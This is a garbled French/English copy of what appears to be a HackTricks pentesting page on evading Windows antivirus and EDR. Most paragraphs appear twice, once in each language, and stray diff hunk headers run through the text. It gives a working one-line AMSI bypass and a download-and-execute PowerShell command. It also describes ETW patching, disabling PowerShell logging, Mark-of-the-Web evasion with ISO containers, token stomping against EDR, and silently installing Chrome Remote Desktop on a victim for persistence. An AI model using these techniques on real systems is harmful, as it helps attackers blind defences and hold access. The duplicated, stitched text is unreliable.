> L'évasion est simplement un jeu du chat et de la souris : ce qui fonctionne aujourd'hui peut être détecté demain, donc ne comptez jamais sur un seul outil ; si possible, essayez d'enchaîner plusieurs techniques d'évasion.
> L'évasion n'est qu'un jeu du chat et de la souris — ce qui fonctionne aujourd'hui peut être détecté demain, donc ne vous fiez jamais à un seul outil ; si possible, essayez d'enchaîner plusieurs techniques d'évasion.
## AMSI (Anti-Malware Scan Interface)
AMSI a été créé pour prévenir "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". À l'origine, les AV ne pouvaient scanner que les **fichiers sur disque**, donc si vous pouviez d'une manière ou d'une autre exécuter des payloads **directement en mémoire**, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas suffisamment de visibilité.
AMSI a été créé pour prévenir "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". À l'origine, les AV ne pouvaient analyser que les **fichiers sur le disque**, donc si vous pouviez exécuter des payloads **directement en mémoire**, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas suffisamment de visibilité.
La fonctionnalité AMSI est intégrée dans ces composants de Windows.
- User Account Control, or UAC (élévation de EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, utilisation interactive, et évaluation dynamique de code)
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, utilisation interactive et évaluation dynamique du code)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Office VBA macros
Elle permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu des scripts sous une forme non chiffrée et non obfusquée.
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
L'exécution de `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` déclenchera l'alerte suivante sur Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Remarquez comment il préfixe `amsi:` puis le chemin vers l'exécutable à partir duquel le script a été lancé, dans ce cas powershell.exe
Remarquez comment il préfixe `amsi:` puis le chemin vers l'exécutable à partir duquel le script a été lancé, dans ce cas, powershell.exe
Nous n'avons déposé aucun fichier sur le disque, mais nous nous sommes tout de même fait repérer en mémoire à cause d'AMSI.
Nous n'avons déposé aucun fichier sur le disque, mais avons quand même été détectés en mémoire à cause d'AMSI.
De plus, à partir de **.NET 4.8**, le code C# est également analysé par AMSI. Cela affecte même `Assembly.Load(byte[])` pour charger et exécuter en mémoire. C'est pourquoi il est recommandé d'utiliser des versions plus anciennes de .NET (comme 4.7.2 ou inférieures) pour l'exécution en mémoire si vous souhaitez contourner AMSI.
De plus, à partir de **.NET 4.8**, le code C# passe également par AMSI. Cela affecte même `Assembly.Load(byte[])` pour l'exécution en mémoire. C'est pourquoi il est recommandé d'utiliser des versions inférieures de .NET (comme 4.7.2 ou antérieures) pour l'exécution en mémoire si vous souhaitez contourner AMSI.
Il existe quelques manières de contourner AMSI :
Il existe plusieurs façons de contourner AMSI :
- **Obfuscation**
Comme AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être une bonne façon d'éviter la détection.
Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être une bonne méthode pour échapper à la détection.
Cependant, AMSI a la capacité de déobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation peut être une mauvaise option selon la manière dont elle est faite. Cela rend l'évasion moins évidente. Toutefois, parfois, il suffit de changer quelques noms de variables et tout ira bien, donc cela dépend de la sévérité du flag.
Cependant, AMSI a la capacité de désobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation peut être une mauvaise option selon la manière dont elle est effectuée. Cela rend l'évasion moins triviale. Toutefois, parfois, tout ce qu'il faut faire est de changer quelques noms de variables et ça suffit, donc tout dépend du niveau d'alerte.
- **AMSI Bypass**
Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (ainsi que cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en étant un utilisateur non privilégié. En raison de ce défaut dans l'implémentation d'AMSI, des chercheurs ont trouvé plusieurs façons d'échapper au scanning AMSI.
Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (ainsi que cscript.exe, wscript.exe, etc.), il est possible d'y porter atteinte assez facilement même en étant un utilisateur non privilégié. En raison de cette faiblesse dans l'implémentation d'AMSI, des chercheurs ont trouvé plusieurs façons d'échapper au scan AMSI.
**Forcing an Error**
Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) aura pour conséquence qu'aucune analyse ne sera initiée pour le processus courant. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large.
Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) fera en sorte qu'aucune analyse ne sera lancée pour le processus en cours. Cette méthode a été initialement divulguée par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Tout ce qu'il a fallu, c'est une ligne de code powershell pour rendre AMSI inutilisable pour le processus powershell en cours. Cette ligne a bien sûr été repérée par AMSI lui-même, donc une modification est nécessaire pour utiliser cette technique.
Il a suffi d'une seule ligne de code powershell pour rendre AMSI inutilisable pour le processus powershell en cours. Cette ligne a bien sûr été détectée par AMSI lui-même, donc une modification est nécessaire pour pouvoir utiliser cette technique.
Voici un AMSI bypass modifié que j'ai pris depuis ce [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```bash
@ -247,119 +247,119 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Gardez à l'esprit que cela sera probablement signalé une fois que cette publication sera publiée, donc vous ne devriez pas publier de code si votre objectif est de rester indétecté.
Gardez à l'esprit que cela sera probablement signalé une fois ce post publié, donc vous ne devriez pas publier de code si votre objectif est de rester indétecté.
**Memory Patching**
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
Cette technique a été initialement découverte par [@RastaMouse](https://twitter.com/_RastaMouse/) et consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse des entrées fournies par l'utilisateur) et à la remplacer par des instructions renvoyant le code E_INVALIDARG ; ainsi, le résultat de l'analyse renverra 0, ce qui est interprété comme un résultat propre.
> [!TIP]
> Veuillez lire [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) pour une explication plus détaillée.
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
Cet outil [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) génère également des scripts pour contourner AMSI.
**Supprimer la signature détectée**
Vous pouvez utiliser un outil tel que **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** et **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** pour supprimer la signature AMSI détectée de la mémoire du processus courant. Cet outil fonctionne en scannant la mémoire du processus courant à la recherche de la signature AMSI puis en l'écrasant avec des instructions NOP, la supprimant effectivement de la mémoire.
Vous pouvez utiliser un outil tel que **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** et **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** pour supprimer la signature AMSI détectée de la mémoire du processus courant. Cet outil fonctionne en scannant la mémoire du processus courant à la recherche de la signature AMSI, puis en la remplaçant par des instructions NOP, la supprimant effectivement de la mémoire.
**Produits AV/EDR qui utilisent AMSI**
Vous pouvez trouver une liste de produits AV/EDR qui utilisent AMSI dans **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Utiliser Powershell version 2**
Si vous utilisez PowerShell version 2, AMSI ne sera pas chargé, vous pouvez donc exécuter vos scripts sans être analysés par AMSI. Vous pouvez faire ceci:
**Use Powershell version 2**
Si vous utilisez PowerShell version 2, AMSI ne sera pas chargé, vous pouvez donc exécuter vos scripts sans être analysé par AMSI. Vous pouvez faire ceci :
```bash
powershell.exe -version 2
```
## Journalisation PowerShell
## PS Logging
La journalisation PowerShell est une fonctionnalité qui permet d'enregistrer toutes les commandes PowerShell exécutées sur un système. Cela peut être utile pour l'audit et le dépannage, mais cela peut aussi être un **problème pour les attaquants qui veulent échapper à la détection**.
PowerShell logging est une fonctionnalité qui vous permet d'enregistrer toutes les commandes PowerShell exécutées sur un système. Cela peut être utile pour l'audit et le dépannage, mais cela peut aussi être un **problème pour les attaquants qui cherchent à échapper à la détection**.
Pour contourner la journalisation PowerShell, vous pouvez utiliser les techniques suivantes :
- **Disable PowerShell Transcription and Module Logging**: Vous pouvez utiliser un outil tel que [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) à cette fin.
- **Use Powershell version 2**: Si vous utilisez PowerShell version 2, AMSI ne sera pas chargé, vous pouvez donc exécuter vos scripts sans être analysés par AMSI. Faites : `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Utilisez [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) pour lancer une session PowerShell sans défenses (c'est ce que `powerpick` de Cobalt Strike utilise).
- **Disable PowerShell Transcription and Module Logging** : Vous pouvez utiliser un outil tel que [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) à cet effet.
- **Use Powershell version 2** : Si vous utilisez PowerShell version 2, AMSI ne sera pas chargé, vous pouvez donc exécuter vos scripts sans qu'ils soient analysés par AMSI. Vous pouvez faire cela : `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session** : Utilisez [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) pour lancer un powershell sans défenses (c'est ce que `powerpick` de Cobal Strike utilise).
## Obfuscation
> [!TIP]
> Plusieurs techniques d'obfuscation reposent sur le chiffrement des données, ce qui augmente l'entropie du binaire et facilite la détection par les AVs et EDRs. Faites attention à cela et appliquez éventuellement le chiffrement uniquement aux sections sensibles de votre code qui doivent rester cachées.
> Plusieurs techniques d'obfuscation reposent sur le chiffrement des données, ce qui augmente l'entropie du binaire et facilite sa détection par les AV et EDR. Faites attention à cela et n'appliquez éventuellement le chiffrement qu'à des sections spécifiques de votre code qui sont sensibles ou doivent être cachées.
### Déobfuscation des binaires .NET protégés par ConfuserEx
### Deobfuscating ConfuserEx-Protected .NET Binaries
Lors de l'analyse de malware utilisant ConfuserEx 2 (ou des forks commerciaux), il est courant de faire face à plusieurs couches de protection qui bloquent les décompilateurs et les sandboxes. Le flux de travail cidessous restaure de manière fiable un IL quasioriginal qui peut ensuite être décompilé en C# dans des outils tels que dnSpy ou ILSpy.
Lors de l'analyse de malware utilisant ConfuserEx 2 (ou des forks commerciaux), il est courant de se heurter à plusieurs couches de protection qui bloquent les décompilateurs et les sandboxes. Le workflow cidessous restaure de manière fiable un **IL quasioriginal** qui peut ensuite être décompilé en C# avec des outils tels que dnSpy ou ILSpy.
1. Suppression de l'anti-tamper ConfuserEx chiffre chaque *method body* et le déchiffre à l'intérieur du constructeur statique du *module* (`<Module>.cctor`). Il modifie aussi le checksum PE de sorte que toute modification plante le binaire. Utilisez **AntiTamperKiller** pour localiser les tables de métadonnées chiffrées, récupérer les clés XOR et réécrire un assembly propre :
1. Anti-tampering removal ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`). This also patches the PE checksum so any modification will crash the binary. Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
La sortie contient les 6 paramètres anti-tamper (`key0-key3`, `nameHash`, `internKey`) qui peuvent être utiles pour construire votre propre unpacker.
La sortie contient les 6 paramètres anti-tampering (`key0-key3`, `nameHash`, `internKey`) qui peuvent être utiles lors de la création de votre propre unpacker.
2. Récupération des symboles / du contrôle de flux fournissez le fichier *clean* à **de4dot-cex** (un fork de de4dot conscient de ConfuserEx).
2. Symbol / control-flow recovery feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Flags :
`-p crx` sélectionne le profil ConfuserEx 2
• de4dot annulera le flattening du contrôle de flux, restaurera les namespaces, classes et noms de variables d'origine et déchiffrera les chaînes constantes.
Flags:
`-p crx` select the ConfuserEx 2 profile
• de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings.
3. Retrait des proxy-calls ConfuserEx remplace les appels directs de méthode par des wrappers légers (a.k.a *proxy calls*) pour compliquer davantage la décompilation. Supprimez-les avec **ProxyCall-Remover** :
3. Proxy-call stripping ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation. Remove them with **ProxyCall-Remover**:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
Après cette étape, vous devriez observer des API .NET normales comme `Convert.FromBase64String` ou `AES.Create()` au lieu de fonctions wrapper opaques (`Class8.smethod_10`, …).
Après cette étape vous devriez observer des API .NET normales telles que `Convert.FromBase64String` ou `AES.Create()` au lieu de fonctions wrapper opaques (`Class8.smethod_10`, …).
4. Nettoyage manuel exécutez le binaire résultant sous dnSpy, recherchez de grands blobs Base64 ou l'utilisation de `RijndaelManaged`/`TripleDESCryptoServiceProvider` pour localiser le *vrai* payload. Souvent, le malware le stocke en tant que tableau d'octets encodé TLV initialisé dans `<Module>.byte_0`.
4. Manual clean-up run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload. Often the malware stores it as a TLV-encoded byte array initialised inside `<Module>.byte_0`.
La chaîne cidessus restaure le flux d'exécution **sans** avoir besoin d'exécuter l'échantillon malveillant utile lorsqu'on travaille sur une station de travail hors ligne.
La chaîne cidessous restaure le flux d'exécution **sans** avoir besoin d'exécuter l'échantillon malveillant utile lorsqu'on travaille sur une station hors ligne.
> 🛈 ConfuserEx produit un attribut personnalisé nommé `ConfusedByAttribute` qui peut être utilisé comme un IOC pour trier automatiquement les échantillons.
> 🛈 ConfuserEx produit un attribut personnalisé nommé `ConfusedByAttribute` qui peut être utilisé comme IOC pour trier automatiquement les samples.
#### Commande en une ligne
#### One-liner
```bash
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
```
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: obfuscateur C#**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Le but de ce projet est de fournir un fork open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable d'améliorer la sécurité logicielle via la [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) et la protection contre la falsification.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator démontre comment utiliser le langage `C++11/14` pour générer, à la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.
- [**obfy**](https://github.com/fritzone/obfy): Ajoute une couche d'opérations obfusquées générées par le framework de métaprogrammation de templates C++, ce qui rendra la vie de la personne souhaitant craquer l'application un peu plus difficile.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz est un obfuscateur binaire x64 capable d'obfusquer différents fichiers PE, y compris : .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame est un moteur de code métamorphique simple pour exécutables arbitraires.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator est un framework d'obfuscation de code finement granulaire pour les langages supportés par LLVM utilisant ROP (return-oriented programming). ROPfuscator obfusque un programme au niveau du code assembleur en transformant des instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt est un .NET PE Crypter écrit en Nim
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Le but de ce projet est de fournir un fork open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable d'améliorer la sécurité des logiciels via [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) et tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler.
- [**obfy**](https://github.com/fritzone/obfy): Ajoute une couche d'opérations obfuscated générées par le framework de C++ template metaprogramming qui rendra la vie de la personne voulant crack the application un peu plus difficile.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz est un x64 binary obfuscator capable d'obfuscate différents fichiers PE incluant: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame est un simple metamorphic code engine pour des exécutables arbitraires.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor est capable de convertir des EXE/DLL existants en shellcode puis de les charger
## SmartScreen & MoTW
You may have seen this screen when downloading some executables from the internet and executing them.
Vous avez peut-être vu cet écran en téléchargeant certains exécutables depuis internet et en les exécutant.
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à protéger l'utilisateur final contre l'exécution d'applications potentiellement malveillantes.
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
SmartScreen fonctionne principalement par une approche basée sur la réputation, ce qui signifie que les applications peu couramment téléchargées déclencheront SmartScreen, alertant et empêchant l'utilisateur final d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant More Info -> Run anyway).
**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
**MoTW** (Mark of The Web) est un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) nommé Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis internet, avec l'URL d'où il a été téléchargé.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Vérification de l'ADS Zone.Identifier pour un fichier téléchargé depuis Internet.</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Vérification de l'ADS Zone.Identifier pour un fichier téléchargé depuis internet.</p></figcaption></figure>
> [!TIP]
> Il est important de noter que les exécutables signés avec un certificat de signature **fiable** **ne déclencheront pas SmartScreen**.
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **ne peut pas** be applied to **non NTFS** volumes.
Une façon très efficace d'empêcher que vos payloads obtiennent le Mark of The Web est de les empaqueter dans une sorte de conteneur comme une ISO. Cela se produit parce que Mark-of-the-Web (MOTW) **ne peut pas** être appliqué aux volumes **non NTFS**.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) est un outil qui empaquette des payloads dans des conteneurs de sortie pour échapper à Mark-of-the-Web.
Example usage:
Exemple d'utilisation:
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -387,51 +387,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
## ETW
Event Tracing for Windows (ETW) est un mécanisme de journalisation puissant sous Windows qui permet aux applications et composants système de **consigner des événements**. Cependant, il peut aussi être utilisé par les produits de sécurité pour surveiller et détecter des activités malveillantes.
Event Tracing for Windows (ETW) est un mécanisme de journalisation puissant sous Windows qui permet aux applications et aux composants système d**enregistrer des événements**. Cependant, il peut aussi être utilisé par les produits de sécurité pour surveiller et détecter des activités malveillantes.
De la même manière que AMSI est désactivé (bypassed), il est aussi possible de faire en sorte que la fonction **`EtwEventWrite`** du processus en espace utilisateur retourne immédiatement sans enregistrer d'événements. Cela se fait en patchant la fonction en mémoire pour qu'elle retourne immédiatement, désactivant ainsi la journalisation ETW pour ce processus.
De la même manière quAMSI peut être désactivé (contourné), il est aussi possible de faire en sorte que la fonction utilisateur **`EtwEventWrite`** retourne immédiatement sans enregistrer dévénements. Ceci se fait en patchant la fonction en mémoire pour quelle retourne immédiatement, désactivant ainsi la journalisation ETW pour ce processus.
Vous pouvez trouver plus d'infos dans **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
Vous trouverez plus d'informations dans **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Charger des binaires C# en mémoire est connu depuis longtemps et reste un excellent moyen d'exécuter vos outils post-exploitation sans être détecté par l'AV.
Le chargement de binaires C# en mémoire est connu depuis longtemps et reste une excellente méthode pour exécuter vos outils post-exploitation sans être détecté par AV.
Puisque le payload sera chargé directement en mémoire sans toucher le disque, il faudra seulement se préoccuper de patcher AMSI pour l'ensemble du processus.
Puisque le payload sera chargé directement en mémoire sans toucher le disque, il faudra seulement se préoccuper de patcher AMSI pour tout le processus.
La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) fournissent déjà la capacité d'exécuter des assemblies C# directement en mémoire, mais il existe différentes manières de le faire :
La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité dexécuter des C# assemblies directement en mémoire, mais il existe différentes façons de procéder :
- **Fork\&Run**
Cela implique de **lancer un nouveau processus sacrificiel**, d'injecter votre code malveillant post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cela a des avantages et des inconvénients. L'avantage de la méthode fork-and-run est que l'exécution se produit **en dehors** du processus de notre implant Beacon. Cela signifie que si quelque chose dans notre action post-exploitation tourne mal ou est détecté, il y a une **bien meilleure chance** que notre **implant survive.** L'inconvénient est que vous avez une **plus grande probabilité** d'être détecté par les **Behavioural Detections**.
Il sagit de **spawn un nouveau processus sacrificiel**, injecter votre code post-exploitation malveillant dans ce nouveau processus, exécuter votre code malveillant puis, une fois terminé, tuer ce processus. Cela comporte des avantages et des inconvénients. Lavantage de la méthode fork and run est que lexécution se produit **en dehors** de notre processus Beacon implant. Cela signifie que si quelque chose tourne mal dans notre action post-exploitation ou se fait prendre, il y a une **bien meilleure chance** que notre **implant survive.** Linconvénient est que vous avez une **plus grande probabilité** dêtre détecté par des **Behavioural Detections**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Il s'agit d'injecter le code malveillant post-exploitation **dans son propre processus**. Ainsi, vous évitez de créer un nouveau processus qui serait scanné par l'AV, mais l'inconvénient est que si quelque chose tourne mal lors de l'exécution de votre payload, il y a une **bien plus grande probabilité** de **perdre votre beacon** car il pourrait planter.
Il sagit dinjecter le code post-exploitation malveillant **dans son propre processus**. De cette façon, vous évitez de créer un nouveau processus qui pourrait être scanné par AV, mais linconvénient est que si lexécution de votre payload échoue, il y a une **bien plus grande chance** de **perdre votre beacon** car il pourrait planter.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Si vous voulez en savoir plus sur le chargement d'Assemblies C#, consultez cet article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) et leur BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Vous pouvez aussi charger des Assemblies C# **depuis PowerShell**, regardez [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) et la vidéo de S3cur3th1sSh1t ([https://www.youtube.com/watch?v=oe11Q-3Akuk](https://www.youtube.com/watch?v=oe11Q-3Akuk)).
You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Using Other Programming Languages
Comme proposé dans [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise l'accès **à l'environnement interpréteur installé sur le partage SMB contrôlé par l'attaquant**.
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), il est possible dexécuter du code malveillant en utilisant dautres langages en donnant à la machine compromise accès **à lenvironnement dinterpréteur installé sur lAttacker Controlled SMB share**.
En autorisant l'accès aux binaires de l'interpréteur et à l'environnement sur le partage SMB, vous pouvez **exécuter du code arbitraire dans ces langages en mémoire** de la machine compromise.
En autorisant laccès aux Interpreter Binaries et à lenvironnement sur le SMB share, vous pouvez **exécuter du code arbitraire dans ces langages en mémoire** sur la machine compromise.
Le repo indique : Defender scanne toujours les scripts, mais en utilisant Go, Java, PHP, etc., nous avons **plus de flexibilité pour bypasser les signatures statiques**. Des tests avec des reverse shell scripts non obfusqués aléatoires dans ces langages se sont avérés fructueux.
Le repo indique : Defender scanne toujours les scripts mais, en utilisant Go, Java, PHP, etc., on a **plus de flexibilité pour contourner les signatures statiques**. Des tests avec des reverse shell scripts non obfusqués dans ces langages ont été concluants.
## TokenStomping
Token stomping est une technique qui permet à un attaquant de **manipuler le jeton d'accès ou un produit de sécurité comme un EDR ou un AV**, leur permettant de réduire ses privilèges de sorte que le processus ne meure pas mais n'ait pas les permissions pour vérifier des activités malveillantes.
Token stomping est une technique qui permet à un attaquant de **manipuler le token daccès ou un produit de sécurité comme un EDR ou AV**, en réduisant ses privilèges de sorte que le processus ne meure pas mais nait plus les permissions pour détecter des activités malveillantes.
Pour prévenir cela, Windows pourrait **empêcher les processus externes** d'obtenir des handles sur les tokens des processus de sécurité.
Pour prévenir cela, Windows pourrait **empêcher des processus externes** dobtenir des handles sur les tokens des processus de sécurité.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -441,47 +441,46 @@ Pour prévenir cela, Windows pourrait **empêcher les processus externes** d'obt
### Chrome Remote Desktop
Comme décrit dans [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), il est facile de déployer Chrome Remote Desktop sur un PC victime puis de l'utiliser pour le prendre en main et maintenir la persistance :
1. Téléchargez depuis https://remotedesktop.google.com/, cliquez sur "Set up via SSH", puis cliquez sur le fichier MSI pour Windows pour télécharger le MSI.
2. Exécutez l'installateur silencieusement sur la victime (admin requis) : `msiexec /i chromeremotedesktophost.msi /qn`
3. Retournez sur la page Chrome Remote Desktop et cliquez sur next. L'assistant vous demandera alors d'autoriser ; cliquez sur le bouton Authorize pour continuer.
4. Exécutez le paramètre donné avec quelques ajustements : `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Notez le paramètre pin qui permet de définir le PIN sans utiliser l'interface graphique).
As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), il est facile de déployer Chrome Remote Desktop sur le PC dune victime puis de lutiliser pour le prendre en main et maintenir la persistance :
1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file.
